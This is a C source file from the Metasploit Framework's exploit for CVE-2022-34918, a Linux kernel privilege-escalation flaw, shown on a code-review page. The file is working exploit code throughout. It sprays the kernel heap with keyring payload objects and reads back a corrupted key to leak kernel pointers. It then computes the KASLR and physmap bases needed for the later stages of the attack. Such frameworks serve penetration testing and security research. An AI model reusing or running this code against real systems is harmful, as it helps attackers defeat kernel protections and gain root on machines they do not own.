rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2022-34918/src/keyring.c

Summary

Maintainability
Test Coverage
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <limits.h>
#include <linux/keyctl.h>

#include "log.h"
#include "keyring.h"
#include "util.h"

/**
 * spray_keyring(): Spray the heap with `user_key_payload` structure
 * @spray_size: Number of object to put into the `kmalloc-64` cache
 *
 * Return: Allocated buffer with serial numbers of the created keys
 */
key_serial_t *spray_keyring(uint32_t spray_size) {

    char key_desc[KEY_DESC_MAX_SIZE];
    key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));

    if (id_buffer == NULL)
        do_error_exit("calloc");

    for (uint32_t i = 0; i < spray_size; i++) {
        snprintf(key_desc, KEY_DESC_MAX_SIZE, "RandoriSec-%03du", i);
        id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING);
        if (id_buffer[i] < 0)
            do_error_exit("add_key");
    }

    return id_buffer;
}

/**
 * dump_buffer(): Debug function to analyze the infoleak
 * @buffer: Buffer that contains the infoleak
 * @buffer_size: Size of the previous buffer
 */
void dump_buffer(void **buffer, uint32_t buffer_size) {
    for (uint32_t i = 0; i < buffer_size; i++) {
        printf("[*] %d: %p\n", i, buffer[i]);
    }
}

/**
 * parse_leak(): Parse the infoleak to compute the kaslr base and the physmap base
 * @buffer: Buffer that contains the infoleak
 * @buffer_size: Size of the previous buffer
 *
 * Search for a pointer to the function `io_ring_ctx_ref_free` that is stored within a `percpu_ref_data` structure
 * Then compute the KASLR base
 * Finally use the pointer to the associated `percpu_ref` to compute the physmap base
 *
 * Return: KASLR base and physmap base of the running kernel
 */
struct leak *parse_leak(long *buffer, uint32_t buffer_size) {

    struct leak *ret = malloc(sizeof(struct leak));
    if (!ret)
        do_error_exit("malloc");

    for (uint32_t i = 0; i < buffer_size; i++) {

        /* Search for reference to the function io_ring_ctx_ref_free */
        if ((buffer[i] & 0xfffff) == (kernels[kernel].io_ring_ctx_ref_free & 0xfffff)) {
            ret->kaslr_base = buffer[i] - kernels[kernel].io_ring_ctx_ref_free;
            ret->physmap_base = buffer[i + 5] & 0xffffffff00000000;
            return ret;

        /* Search for reference to the function io_rsrc_node_ref_zero */
        } else if ((buffer[i] & 0xfffff) == (kernels[kernel].io_rsrc_node_ref_zero & 0xfffff)) {
            ret->kaslr_base = buffer[i] - kernels[kernel].io_rsrc_node_ref_zero;
            ret->physmap_base = buffer[i + 5] & 0xffffffff00000000;
            return ret;
        }
    }

    free(ret);
    return NULL;
}

/**
 * get_keyring_leak(): Find the infoleak and compute the needed bases
 * @id_buffer: Buffer with the serial numbers of keys used to spray the heap
 * @id_buffer_size: Size of the previous buffer
 *
 * Search for a key with an unexpected size to find the corrupted object.
 *
 * Return: KASLR base and physmap base of the running kernel
 */
struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) {
    
    uint8_t buffer[USHRT_MAX] = {0};
    int32_t keylen;

    for (uint32_t i = 0; i < id_buffer_size; i++) {

        keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, USHRT_MAX, 0);
        if (keylen < 0)
            do_error_exit("keyctl");

        if (keylen == USHRT_MAX) {
            //dump_buffer((void **)buffer, keylen >> 3);
            return parse_leak((long *)buffer, keylen >> 3);
        }
    }
    return NULL;
}

/**
 * release_keys(): Release user_key_payload objects
 * @id_buffer: Buffer that stores the id of the key to remove
 * @id_buffer_size: Size of the previous buffer
 */
void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) {
    
    for (uint32_t i = 0; i < id_buffer_size; i++) {
        if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
            do_error_exit("keyctl(KEYCTL_REVOKE)");
    }

    free(id_buffer);
}